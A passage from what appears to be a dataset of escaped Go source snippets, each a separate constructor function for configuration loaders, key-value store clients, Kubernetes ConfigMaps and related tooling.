!= \"\" {\n\t\t\tname = customFile\n\t\t}\n\t}\n\tc := &Config{\n\t\tdefaultName: name,\n\t\tsearchPaths: garray.NewStrArray(true),\n\t\tjsonMap: gmap.NewStrAnyMap(true),\n\t}\n\t// Customized dir path from env/cmd.\n\tif customPath := gcmd.GetOptWithEnv(commandEnvKeyForPath).String(); customPath != \"\" {\n\t\tif gfile.Exists(customPath) {\n\t\t\t_ = c.SetPath(customPath)\n\t\t} else {\n\t\t\tif errorPrint() {\n\t\t\t\tglog.Errorf(\"[gcfg] Configuration directory path does not exist: %s\", customPath)\n\t\t\t}\n\t\t}\n\t} else {\n\t\t// Dir path of working dir.\n\t\tif err := c.AddPath(gfile.Pwd()); err != nil {\n\t\t\tintlog.Error(context.TODO(), err)\n\t\t}\n\n\t\t// Dir path of main package.\n\t\tif mainPath := gfile.MainPkgPath(); mainPath != \"\" && gfile.Exists(mainPath) {\n\t\t\tif err := c.AddPath(mainPath); err != nil {\n\t\t\t\tintlog.Error(context.TODO(), err)\n\t\t\t}\n\t\t}\n\n\t\t// Dir path of binary.\n\t\tif selfPath := gfile.SelfDir(); selfPath != \"\" && gfile.Exists(selfPath) {\n\t\t\tif err := c.AddPath(selfPath); err != nil {\n\t\t\t\tintlog.Error(context.TODO(), err)\n\t\t\t}\n\t\t}\n\t}\n\treturn c\n}","func NewBackend(logger logger.Logger, v3ioContext v3io.Context, config *frames.BackendConfig, framesConfig *frames.Config) (frames.DataBackend, error) {\n\tnewBackend := Backend{\n\t\tlogger: logger.GetChild(\"kv\"),\n\t\tnumWorkers: config.Workers,\n\t\tupdateWorkersPerVN: config.UpdateWorkersPerVN,\n\t\tframesConfig: framesConfig,\n\t\tv3ioContext: v3ioContext,\n\t\tinactivityTimeout: 0,\n\t\tmaxRecordsInfer: config.MaxRecordsInferSchema,\n\t}\n\treturn &newBackend, nil\n}","func New(storage corestorage.KV, logger *zap.Logger) *KV {\n\tkv := &KV{\n\t\tstorage: storage,\n\t\tlogger: logger,\n\t}\n\n\treturn kv\n}","func newCmdAddConfigMap(\n\tfSys filesys.FileSystem,\n\tldr ifc.KvLoader,\n\trf *resource.Factory) *cobra.Command {\n\tvar flags flagsAndArgs\n\tcmd := &cobra.Command{\n\t\tUse: \"configmap NAME [--behavior={create|merge|replace}] [--from-file=[key=]source] [--from-literal=key1=value1]\",\n\t\tShort: \"Adds a configmap to the kustomization file\",\n\t\tLong: \"\",\n\t\tExample: `\n\t# Adds a configmap to the kustomization file (with a specified key)\n\tkustomize edit add configmap my-configmap --from-file=my-key=file/path --from-literal=my-literal=12345\n\n\t# Adds a configmap to the kustomization file (key is the filename)\n\tkustomize edit add configmap my-configmap --from-file=file/path\n\n\t# Adds a configmap from env-file\n\tkustomize edit add configmap my-configmap --from-env-file=env/path.env\n\n\t# Adds a configmap from env-file with behavior merge\n\tkustomize edit add configmap my-configmap --behavior=merge --from-env-file=env/path.env\t\n`,\n\t\tRunE: func(_ *cobra.Command, args []string) error {\n\t\t\terr := flags.ExpandFileSource(fSys)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\terr = flags.Validate(args)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\t// Load the kustomization file.\n\t\t\tmf, err := kustfile.NewKustomizationFile(fSys)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tkustomization, err := mf.Read()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\t// Add the flagsAndArgs map to the kustomization file.\n\t\t\terr = addConfigMap(ldr, kustomization, flags, rf)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\t// Write out the kustomization file with added configmap.\n\t\t\treturn mf.Write(kustomization)\n\t\t},\n\t}\n\n\tcmd.Flags().StringSliceVar(\n\t\t&flags.FileSources,\n\t\t\"from-file\",\n\t\t[]string{},\n\t\t\"Key file can be specified using its file path, in which case file basename will be used as configmap \"+\n\t\t\t\"key, or optionally with a key and file path, in which case the given key will be used. Specifying a \"+\n\t\t\t\"directory will iterate each named file in the directory whose basename is a valid configmap key.\")\n\tcmd.Flags().StringArrayVar(\n\t\t&flags.LiteralSources,\n\t\t\"from-literal\",\n\t\t[]string{},\n\t\t\"Specify a key and literal value to insert in configmap (i.e. mykey=somevalue)\")\n\tcmd.Flags().StringVar(\n\t\t&flags.EnvFileSource,\n\t\t\"from-env-file\",\n\t\t\"\",\n\t\t\"Specify the path to a file to read lines of key=val pairs to create a configmap (i.e. a Docker .env file).\")\n\tcmd.Flags().BoolVar(\n\t\t&flags.DisableNameSuffixHash,\n\t\t\"disableNameSuffixHash\",\n\t\tfalse,\n\t\t\"Disable the name suffix for the configmap\")\n\tcmd.Flags().StringVar(\n\t\t&flags.Behavior,\n\t\t\"behavior\",\n\t\t\"\",\n\t\t\"Specify the behavior for config map generation, i.e whether to create a new configmap (the default), \"+\n\t\t\t\"to merge with a previously defined one, or to replace an existing one. Merge and replace should be used only \"+\n\t\t\t\" when overriding an existing configmap defined in a base\")\n\n\treturn cmd\n}","func newConfigMapStore(c kubernetes.Interface) configMapStore {\n\treturn &APIServerconfigMapStore{\n\t\tconfigMapStore: cache.NewStore(cache.MetaNamespaceKeyFunc),\n\t\tclient: c,\n\t}\n}","func NewKV(b *barrier.Barrier) *KV {\n\treturn &KV{b: b}\n}","func NewKeyValue(name string, newType StorageType) *KeyValue {\n\tswitch newType {\n\n\tcase MEMORY:\n\t\t// TODO: No Merkle tree?\n\t\treturn &KeyValue{\n\t\t\tType: newType,\n\t\t\tName: name,\n\t\t\tmemory: db.NewMemDB(),\n\t\t}\n\n\tcase PERSISTENT:\n\t\tfullname := \"OneLedger-\" + name\n\n\t\tif FileExists(fullname, global.DatabaseDir()) {\n\t\t\t//log.Debug(\"Appending to database\", \"name\", fullname)\n\t\t} else {\n\t\t\tlog.Info(\"Creating new database\", \"name\", fullname)\n\t\t}\n\n\t\tstorage, err := db.NewGoLevelDB(fullname, global.DatabaseDir())\n\t\tif err != nil {\n\t\t\tlog.Error(\"Database create failed\", \"err\", err)\n\t\t\tpanic(\"Can't create a database \" + global.DatabaseDir() + \"/\" + fullname)\n\t\t}\n\n\t\ttree := iavl.NewMutableTree(storage, 100)\n\n\t\t// Note: the tree is empty, until at least one version is loaded\n\t\ttree.LoadVersion(0)\n\n\t\treturn &KeyValue{\n\t\t\tType: newType,\n\t\t\tName: name,\n\t\t\tFile: fullname,\n\t\t\ttree: tree,\n\t\t\tdatabase: storage,\n\t\t\tversion: tree.Version64(),\n\t\t}\n\tdefault:\n\t\tpanic(\"Unknown Type\")\n\n\t}\n\treturn nil\n}","func KeyfileSettingsBackendNew(filename, rootPath, rootGroup string) *SettingsBackend {\n\tcstr1 := (*C.gchar)(C.CString(filename))\n\tdefer C.free(unsafe.Pointer(cstr1))\n\n\tcstr2 := (*C.gchar)(C.CString(rootPath))\n\tdefer C.free(unsafe.Pointer(cstr2))\n\n\tcstr3 := (*C.gchar)(C.CString(rootGroup))\n\tdefer C.free(unsafe.Pointer(cstr3))\n\n\treturn wrapSettingsBackend(wrapObject(unsafe.Pointer(C.g_keyfile_settings_backend_new(cstr1, cstr2, cstr3))))\n}","func New(\n\tdomain string,\n\tmachines []string,\n\toptions map[string]string,\n) (kvdb.Kvdb, error) {\n\tif len(machines) == 0 {\n\t\tmachines = defaultMachines\n\t} else {\n\t\tif strings.HasPrefix(machines[0], \"http://\") {\n\t\t\tmachines[0] = strings.TrimPrefix(machines[0], \"http://\")\n\t\t} else if strings.HasPrefix(machines[0], \"https://\") {\n\t\t\tmachines[0] = strings.TrimPrefix(machines[0], \"https://\")\n\t\t}\n\t}\n\tconfig := api.DefaultConfig()\n\tconfig.HttpClient = http.DefaultClient\n\tconfig.Address = machines[0]\n\tconfig.Scheme = \"http\"\n\n\tclient, err := api.NewClient(config)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &consulKV{\n\t\tclient,\n\t\tconfig,\n\t\tdomain,\n\t}, nil\n}","func newKVClient(ctx context.Context, storeType, address string, timeout time.Duration) (kvstore.Client, error) {\n\tlogger.Infow(ctx, \"kv-store-type\", log.Fields{\"store\": storeType})\n\tswitch storeType {\n\tcase \"etcd\":\n\t\treturn kvstore.NewEtcdClient(ctx, address, timeout, log.FatalLevel)\n\t}\n\treturn nil, errors.New(\"unsupported-kv-store\")\n}","func newConfigMap(configMapName, namespace string, labels map[string]string,\n\tkibanaIndexMode, esUnicastHost, rootLogger, nodeQuorum, recoverExpectedShards, primaryShardsCount, replicaShardsCount string) *v1.ConfigMap {\n\n\terr, data := renderData(kibanaIndexMode, esUnicastHost, nodeQuorum, recoverExpectedShards, primaryShardsCount, replicaShardsCount, rootLogger)\n\tif err != nil {\n\t\treturn nil\n\t}\n\n\treturn &v1.ConfigMap{\n\t\tTypeMeta: metav1.TypeMeta{\n\t\t\tKind: \"ConfigMap\",\n\t\t\tAPIVersion: v1.SchemeGroupVersion.String(),\n\t\t},\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: configMapName,\n\t\t\tNamespace: namespace,\n\t\t\tLabels: labels,\n\t\t},\n\t\tData: data,\n\t}\n}","func New(ctx context.Context, log *zap.Logger, cfg *Config) (gokvstores.KVStore, error) {\n\tif cfg == nil {\n\t\treturn gokvstores.DummyStore{}, nil\n\t}\n\n\tlog.Info(\"KVStore configured\",\n\t\tlogger.String(\"type\", cfg.Type))\n\n\tswitch cfg.Type {\n\tcase dummyKVStoreType:\n\t\treturn gokvstores.DummyStore{}, nil\n\tcase redisRoundRobinType:\n\t\tredis := cfg.RedisRoundRobin\n\n\t\tkvstores := make([]gokvstores.KVStore, len(redis.Addrs))\n\t\tfor i := range redis.Addrs {\n\t\t\tredisOptions, err := parseRedisURL(redis.Addrs[i])\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\ts, err := gokvstores.NewRedisClientStore(ctx, redisOptions, time.Duration(redis.Expiration)*time.Second)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tkvstores[i] = s\n\t\t}\n\n\t\treturn &kvstoreWrapper{&redisRoundRobinStore{kvstores}, cfg.Prefix}, nil\n\tcase redisClusterKVStoreType:\n\t\tredis := cfg.RedisCluster\n\n\t\ts, err := gokvstores.NewRedisClusterStore(ctx, &gokvstores.RedisClusterOptions{\n\t\t\tAddrs: redis.Addrs,\n\t\t\tPassword: redis.Password,\n\t\t}, time.Duration(redis.Expiration)*time.Second)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\treturn &kvstoreWrapper{s, cfg.Prefix}, nil\n\tcase redisKVStoreType:\n\t\tredis := cfg.Redis\n\n\t\ts, err := gokvstores.NewRedisClientStore(ctx, &gokvstores.RedisClientOptions{\n\t\t\tAddr: redis.Addr(),\n\t\t\tDB: redis.DB,\n\t\t\tPassword: redis.Password,\n\t\t}, time.Duration(redis.Expiration)*time.Second)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\treturn &kvstoreWrapper{s, cfg.Prefix}, nil\n\tcase cacheKVStoreType:\n\t\tcache := cfg.Cache\n\n\t\ts, err := gokvstores.NewMemoryStore(\n\t\t\ttime.Duration(cache.Expiration)*time.Second,\n\t\t\ttime.Duration(cache.CleanupInterval)*time.Second)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\treturn &kvstoreWrapper{s, cfg.Prefix}, nil\n\t}\n\n\treturn nil, fmt.Errorf(\"kvstore %s does not exist\", cfg.Type)\n}","func newcfgfile(fp string) *cfgfile.ConfigFile {\n\treturn &cfgfile.ConfigFile{\n\t\tSrvName: \"agentd\",\n\t\tFilename: fp,\n\t}\n}","func NewConfigMap(namespace, cmName, originalFilename string, generatedKey string,\n\ttextData string, binaryData []byte) *corev1.ConfigMap {\n\timmutable := true\n\tcm := corev1.ConfigMap{\n\t\tTypeMeta: metav1.TypeMeta{\n\t\t\tKind: \"ConfigMap\",\n\t\t\tAPIVersion: \"v1\",\n\t\t},\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: cmName,\n\t\t\tNamespace: namespace,\n\t\t\tLabels: map[string]string{\n\t\t\t\tConfigMapOriginalFileNameLabel: originalFilename,\n\t\t\t\tConfigMapAutogenLabel: \"true\",\n\t\t\t},\n\t\t},\n\t\tImmutable: &immutable,\n\t}\n\tif textData != \"\" {\n\t\tcm.Data = map[string]string{\n\t\t\tgeneratedKey: textData,\n\t\t}\n\t}\n\tif binaryData != nil {\n\t\tcm.BinaryData = map[string][]byte{\n\t\t\tgeneratedKey: binaryData,\n\t\t}\n\t}\n\treturn &cm\n}","func NewGoKV(store gokv.Store, namespace string) *GoKV {\n\treturn &GoKV{\n\t\tkv: store,\n\t\tpath: namespace,\n\t}\n}","func New(pathname string, setters ...ConfigSetter) (*Config, error) {\n\tvar err error\n\n\tc := &Config{pathname: pathname}\n\n\tfor _, setter := range setters {\n\t\tif err := setter(c); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tcgms := []congomap.Setter{congomap.Lookup(c.lookupSection())}\n\tif c.ttl > 0 {\n\t\tcgms = append(cgms, congomap.TTL(c.ttl))\n\t}\n\tc.cgm, err = congomap.NewSyncAtomicMap(cgms...) // relatively few config sections\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn c, nil\n}","func newMeta(db *leveldb.DB) (*meta, error) {\n\ttasks, err := loadTaskMetas(db)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &meta{\n\t\ttasks: tasks,\n\t}, nil\n}","func NewMetaConfig(s *bufio.Scanner, w io.Writer) *MetaConfig {\n\tm := &MetaConfig{}\n\tm.Scanner = s\n\tm.Writer = w\n\treturn m\n}","func New(name, dir string) Keybase {\n\tif err := cmn.EnsureDir(dir, 0700); err != nil {\n\t\tpanic(fmt.Sprintf(\"failed to create Keybase directory: %s\", err))\n\t}\n\n\treturn lazyKeybase{name: name, dir: dir}\n}","func NewKustomization(setters ...Option) (k *Kustomize, err error) {\n\tk = defaultOptions()\n\n\t// Update settings for kustomization\n\tfor _, setter := range setters {\n\t\tif err = setter(k); err != nil {\n\t\t\treturn k, err\n\t\t}\n\t}\n\n\t// Create Kustomization\n\tkustomizeYaml, err := yaml.Marshal(k.kustomize)\n\tif err != nil {\n\t\treturn k, err\n\t}\n\n\tif err = k.fs.WriteFile(filepath.Join(k.Base, konfig.DefaultKustomizationFileName()), kustomizeYaml); err != nil {\n\t\treturn k, err\n\t}\n\n\treturn k, err\n}","func NewStore(secret, key, ns string) (*K8s, error) {\n\tkubeconfig := os.Getenv(\"KUBECONFIG\")\n\tif len(kubeconfig) == 0 {\n\t\tkubeconfig = os.Getenv(\"HOME\") + \"/.kube/config\"\n\t}\n\n\tcfg, err := clientcmd.BuildConfigFromFlags(\"\", kubeconfig)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to configure k8s client: %s\", err.Error())\n\t}\n\n\tclient, err := kubernetes.NewForConfig(cfg)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed building k8s clientset: %s\", err.Error())\n\t}\n\n\treturn &K8s{\n\t\tclient: client,\n\t\tsecret: secret,\n\t\tkey: key,\n\t\tns: ns,\n\t\tready: false,\n\t}, nil\n}","func New(content map[string]interface{}) *Config {\n\treturn &Config{\n\t\tm: content,\n\t}\n}","func New(config *config.ConsulConfig) (*KVHandler, error) {\n\tclient, err := newAPIClient(config)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tlogger := log.WithFields(log.Fields{\n\t\t\"caller\": \"consul\",\n\t})\n\n\tkv := client.KV()\n\n\thandler := &KVHandler{\n\t\tAPI: kv,\n\t\tKVTxnOps: nil,\n\t\tlogger: logger,\n\t}\n\n\treturn handler, nil\n}","func newQueueMeta(conf *Conf) *queueMeta {\n\treturn &queueMeta{conf: conf}\n}","func NewLevelDBKV(path string) (*LevelDBKV, error) {\n\tdb, err := leveldb.OpenFile(path, nil)\n\tif err != nil {\n\t\treturn nil, errs.ErrLevelDBOpen.Wrap(err).GenWithStackByCause()\n\t}\n\treturn &LevelDBKV{db}, nil\n}","func NewMeloctlConfigFromRaw(raw map[string]string) *MeloctlConfig {\n\treturn &MeloctlConfig{\n\t\tMelodyHomeDir: raw[\"melody.home\"],\n\t\t//MelodyRulesSource: raw[\"melody.rules.sources\"],\n\t}\n}","func NewKVStore() *KVStore {\n\tkvStore := new(KVStore)\n\tkvStore.ht = make(map[string][]byte)\n\tkvStore.isOrigin = make(map[string]bool)\n\n\t//kvStore.owner = owner\n\treturn kvStore\n}","func New(c *Config) (*Backend, error) {\n\tif err := validation.Validate.Struct(c); err != nil {\n\t\treturn nil, err\n\t}\n\tb := &Backend{\n\t\tkeys: make(chan *template.Key, 500),\n\t\tlog: c.Logger,\n\t\tsvc: c.SSM,\n\t}\n\treturn b, nil\n}","func newMetadataBackend(parent string) (MetadataBackend, error) {\n\tif err := mkDir(parent); err != nil {\n\t\treturn nil, err\n\t}\n\tdb, err := bbolt.Open(path.Join(parent, MetaDB), 0600, &bbolt.Options{Timeout: 1 * time.Second, NoSync: true})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar metricIDSequence atomic.Uint32\n\tvar tagKeyIDSequence atomic.Uint32\n\terr = db.Update(func(tx *bbolt.Tx) error {\n\t\t// create namespace bucket for save namespace/metric\n\t\tnsBucket, err := tx.CreateBucketIfNotExists(nsBucketName)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// load metric id sequence\n\t\tmetricIDSequence.Store(uint32(nsBucket.Sequence()))\n\t\t// create metric bucket for save metric metadata\n\t\tmetricBucket, err := tx.CreateBucketIfNotExists(metricBucketName)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// load tag key id sequence\n\t\ttagKeyIDSequence.Store(uint32(metricBucket.Sequence()))\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\t// close bbolt.DB if init metadata err\n\t\tif e := closeFunc(db); e != nil {\n\t\t\tmetaLogger.Error(\"close bbolt.db err when create metadata backend fail\",\n\t\t\t\tlogger.String(\"db\", parent), logger.Error(e))\n\t\t}\n\t\treturn nil, err\n\t}\n\treturn &metadataBackend{\n\t\tdb: db,\n\t\tmetricIDSequence: metricIDSequence,\n\t\ttagKeyIDSequence: tagKeyIDSequence,\n\t}, err\n}","func newConfig(appName string, pathToKeybase string, log Log, ignoreSnooze bool) (*config, error) {\n\tcfg := newDefaultConfig(appName, pathToKeybase, log, ignoreSnooze)\n\terr := cfg.load()\n\treturn &cfg, err\n}","func newKVClient(storeType, address string, timeout time.Duration) (kvstore.Client, error) {\n\tlogger.Infow(\"kv-store-type\", log.Fields{\"store\": storeType})\n\tswitch storeType {\n\tcase \"consul\":\n\t\treturn kvstore.NewConsulClient(address, timeout)\n\tcase \"etcd\":\n\t\treturn kvstore.NewEtcdClient(address, timeout, log.FatalLevel)\n\t}\n\treturn nil, errors.New(\"unsupported-kv-store\")\n}","func NewKVGraph(kv KVInterface) gdbi.ArachneInterface {\n\tts := timestamp.NewTimestamp()\n\to := &KVGraph{kv: kv, ts: &ts}\n\tfor _, i := range o.GetGraphs() {\n\t\to.ts.Touch(i)\n\t}\n\treturn o\n}","func NewKVMVCC(sub *subKVMVCCConfig, db dbm.DB) *KVMVCCStore {\n\tvar kvs *KVMVCCStore\n\tenable := false\n\tif sub != nil {\n\t\tenable = sub.EnableMVCCIter\n\t}\n\tif enable {\n\t\tkvs = &KVMVCCStore{db, dbm.NewMVCCIter(db), make(map[string][]*types.KeyValue),\n\t\t\ttrue, sub.EnableMavlPrune, sub.PruneHeight, false}\n\t} else {\n\t\tkvs = &KVMVCCStore{db, dbm.NewMVCC(db), make(map[string][]*types.KeyValue),\n\t\t\tfalse, sub.EnableMavlPrune, sub.PruneHeight, false}\n\t}\n\tEnablePrune(sub.EnableMavlPrune)\n\tSetPruneHeight(int(sub.PruneHeight))\n\treturn kvs\n}","func New(items map[storage.Key]*storage.Value, opts ...func(*Storage)) *Storage {\n\tstrg := &Storage{\n\t\tmeta: make(map[storage.MetaKey]storage.MetaValue),\n\t}\n\tstrg.setItems(items)\n\n\tfor _, f := range opts {\n\t\tf(strg)\n\t}\n\n\tif strg.clck == nil {\n\t\tstrg.clck = clock.New()\n\t}\n\n\treturn strg\n}","func newK8sCluster(c config.Config) (*k8sCluster, error) {\n\tvar kubeconfig *string\n\tif home := homedir.HomeDir(); home != \"\" {\n\t\tkubeconfig = flag.String(\"kubeconfig\", filepath.Join(home, \".kube\", \"config\"), \"(optional) absolue path to the kubeconfig file\")\n\t} else {\n\t\tkubeconfig = flag.String(\"kubeconfig\", \"\", \"absolue path to the kubeconfig file\")\n\t}\n\tflag.Parse()\n\n\tconfig, err := clientcmd.BuildConfigFromFlags(\"\", *kubeconfig)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tclientset, err := kubernetes.NewForConfig(config)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &k8sCluster{\n\t\tconfig: c,\n\t\tmutex: sync.Mutex{},\n\t\tpods: make(map[string]string),\n\t\tclientset: clientset,\n\t}, nil\n}","func NewKGTK[T codec.ProtoMarshaler](key sdk.StoreKey, internalKey sdk.StoreKey, cdc codec.BinaryCodec, getEmpty func() T, keywords []string) KeywordedGenericTypeKeeper[T] {\n\tgtk := KeywordedGenericTypeKeeper[T]{\n\t\tGenericTypeKeeper: NewGTK[T](key, internalKey, cdc, getEmpty),\n\t\tKeyWords: keywords,\n\t}\n\treturn gtk\n}","func New(key []byte) *Config {\n\treturn &Config{\n\t\tsigningKey: key,\n\t\tclock: &utils.RealClock{},\n\t}\n}","func newCfg() *cfg {\n\tcfg := &cfg{}\n\n\tflag.IntVar(&cfg.pool, \"pool\", 32,\n\t\t\"count of the workers in pool (default: 32)\")\n\n\tflag.BoolVar(&cfg.greedy, \"greedy\", true,\n\t\t\"enable greedy mode (default: true)\")\n\n\tflag.DurationVar(&cfg.dur, \"duration\", time.Minute,\n\t\t\"pool's heartbeat duration\")\n\n\tflag.Parse()\n\n\treturn cfg\n}","func (c *DotQservConfigMapSpec) Create() (client.Object, error) {\n\tcr := c.qserv\n\ttmplData := generateTemplateData(cr)\n\n\treqLogger := log.WithValues(\"Request.Namespace\", cr.Namespace, \"Request.Name\", cr.Name)\n\n\tname := c.GetName()\n\tnamespace := cr.Namespace\n\n\tlabels := util.GetComponentLabels(constants.Czar, cr.Name)\n\troot := filepath.Join(\"/\", \"configmap\", \"dot-qserv\")\n\n\tcm := &v1.ConfigMap{\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: name,\n\t\t\tNamespace: namespace,\n\t\t\tLabels: labels,\n\t\t},\n\t\tData: scanDir(root, reqLogger, &tmplData),\n\t}\n\n\treturn cm, nil\n}","func NewKVWatcher(kvType KVStore, address string, prefix string) (Watcher, error) {\n\tvar backend store.Backend\n\tswitch kvType {\n\tcase Consul:\n\t\tconsul.Register()\n\t\tbackend = store.CONSUL\n\tcase Zookeeper:\n\t\tzookeeper.Register()\n\t\tbackend = store.ZK\n\tcase Etcd:\n\t\tetcd.Register()\n\t\tbackend = store.ETCD\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"unknown kvType=%d\", kvType)\n\t}\n\n\tstore, err := valkeyrie.NewStore(backend, []string{address}, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &libkvWatcher{\n\t\tprefix: prefix,\n\t\tstore: store,\n\t}, nil\n}","func (inv *ActionVpsConfigCreateInvocation) NewMetaInput() *ActionVpsConfigCreateMetaGlobalInput {\n\tinv.MetaInput = &ActionVpsConfigCreateMetaGlobalInput{}\n\treturn inv.MetaInput\n}","func newConfigmap(customConfigmap *customConfigMapv1alpha1.CustomConfigMap) *corev1.ConfigMap {\n\tlabels := map[string]string{\n\t\t\"name\": customConfigmap.Spec.ConfigMapName,\n\t\t\"customConfigName\": customConfigmap.Name,\n\t\t\"latest\": \"true\",\n\t}\n\tname := fmt.Sprintf(\"%s-%s\", customConfigmap.Spec.ConfigMapName, RandomSequence(5))\n\tconfigName := NameValidation(name)\n\treturn &corev1.ConfigMap{\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: configName,\n\t\t\tNamespace: customConfigmap.Namespace,\n\t\t\tOwnerReferences: []metav1.OwnerReference{\n\t\t\t\t*metav1.NewControllerRef(customConfigmap, customConfigMapv1alpha1.SchemeGroupVersion.WithKind(\"CustomConfigMap\")),\n\t\t\t},\n\t\t\tLabels: labels,\n\t\t},\n\t\tData: customConfigmap.Spec.Data,\n\t\tBinaryData: customConfigmap.Spec.BinaryData,\n\t}\n}","func NewKeyVault(values map[string]string) (*KV, error) {\n\tk := &KV{\n\t\tclient: keyvault.New(),\n\t\turl: strings.TrimSuffix(values[\"URL\"], \"/\"),\n\t}\n\n\tif k.url == \"\" {\n\t\treturn nil, fmt.Errorf(\"no URL\")\n\t}\n\n\tvar a autorest.Authorizer\n\tvar err error\n\tswitch values[\"cli\"] {\n\tcase \"true\":\n\t\ta, err = auth.NewAuthorizerFromCLIWithResource(resourceKeyVault)\n\tdefault:\n\t\ta, err = getAuthorizerFrom(values)\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tk.client.Authorizer = a\n\n\treturn k, nil\n}","func New(options Options) (TKGClient, error) { //nolint:gocritic\n\tvar err error\n\n\t// configure log options for tkg library\n\tconfigureLogging(options.LogOptions)\n\n\tif options.ConfigDir == \"\" {\n\t\treturn nil, errors.New(\"config directory cannot be empty. Please provide config directory when creating tkgctl client\")\n\t}\n\n\tif options.ProviderGetter == nil {\n\t\toptions.ProviderGetter = getDefaultProviderGetter()\n\t}\n\n\tif options.CustomizerOptions.RegionManagerFactory == nil {\n\t\toptions.CustomizerOptions = types.CustomizerOptions{\n\t\t\tRegionManagerFactory: region.NewFactory(),\n\t\t}\n\t}\n\tappConfig := types.AppConfig{\n\t\tTKGConfigDir: options.ConfigDir,\n\t\tProviderGetter: options.ProviderGetter,\n\t\tCustomizerOptions: options.CustomizerOptions,\n\t\tTKGSettingsFile: options.SettingsFile,\n\t}\n\n\terr = ensureTKGConfigFile(options.ConfigDir, options.ProviderGetter)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tallClients, err := clientcreator.CreateAllClients(appConfig, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar clusterKubeConfig *types.ClusterKubeConfig\n\tif options.KubeConfig != \"\" {\n\t\tclusterKubeConfig = &types.ClusterKubeConfig{\n\t\t\tFile: options.KubeConfig,\n\t\t\tContext: options.KubeContext,\n\t\t}\n\t}\n\n\ttkgClient, err := client.New(client.Options{\n\t\tClusterCtlClient: allClients.ClusterCtlClient,\n\t\tReaderWriterConfigClient: allClients.ConfigClient,\n\t\tRegionManager: allClients.RegionManager,\n\t\tTKGConfigDir: options.ConfigDir,\n\t\tTimeout: constants.DefaultOperationTimeout,\n\t\tFeaturesClient: allClients.FeaturesClient,\n\t\tTKGConfigProvidersClient: allClients.TKGConfigProvidersClient,\n\t\tTKGBomClient: allClients.TKGBomClient,\n\t\tTKGConfigUpdater: allClients.TKGConfigUpdaterClient,\n\t\tTKGPathsClient: allClients.TKGConfigPathsClient,\n\t\tClusterKubeConfig: clusterKubeConfig,\n\t\tClusterClientFactory: clusterclient.NewClusterClientFactory(),\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// ensure BoM and Providers prerequisite files are extracted if missing\n\terr = ensureBoMandProvidersPrerequisite(options.ConfigDir, allClients.TKGConfigUpdaterClient, options.ForceUpdateTKGCompatibilityImage)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"unable to ensure prerequisites\")\n\t}\n\t// Set default BOM name to the config variables to use during template generation\n\tdefaultBoMFileName, err := allClients.TKGBomClient.GetDefaultBoMFileName()\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"unable to get default BOM file name\")\n\t}\n\tallClients.ConfigClient.TKGConfigReaderWriter().Set(constants.ConfigVariableDefaultBomFile, defaultBoMFileName)\n\n\treturn &tkgctl{\n\t\tconfigDir: options.ConfigDir,\n\t\tkubeconfig: options.KubeConfig,\n\t\tkubecontext: options.KubeContext,\n\t\tappConfig: appConfig,\n\t\ttkgBomClient: allClients.TKGBomClient,\n\t\ttkgConfigUpdaterClient: allClients.TKGConfigUpdaterClient,\n\t\ttkgConfigProvidersClient: allClients.TKGConfigProvidersClient,\n\t\ttkgConfigPathsClient: allClients.TKGConfigPathsClient,\n\t\ttkgClient: tkgClient,\n\t\tproviderGetter: options.ProviderGetter,\n\t\ttkgConfigReaderWriter: allClients.ConfigClient.TKGConfigReaderWriter(),\n\t}, nil\n}","func NewConfig(cfgFile string, fs filesystem.FileSystem, kubeCfg kubeconfig.KubeConfig) (Config, error) {\n\tcfg := Config{\n\t\tfilesystem: fs,\n\t\tkubeCfg: kubeCfg,\n\t}\n\n\tif err := cfg.load(cfgFile); err != nil {\n\t\treturn cfg, err\n\t}\n\n\treturn cfg, nil\n}","func newStore(c *Config) (*Store, error) {\n\tif c == nil {\n\t\tc = defaultConfig()\n\t}\n\tmutex := &sync.RWMutex{}\n\tstore := new(Store)\n\tstartTime := time.Now().UTC()\n\tfileWatcher, err := newWatcher(\".\")\n\tif err != nil {\n\t\tlog.Info(fmt.Sprintf(\"unable to init file watcher: %v\", err))\n\t}\n\tif c.Monitoring {\n\t\tmonitoring.Init()\n\t}\n\tstore.fileWatcher = fileWatcher\n\tstore.store = 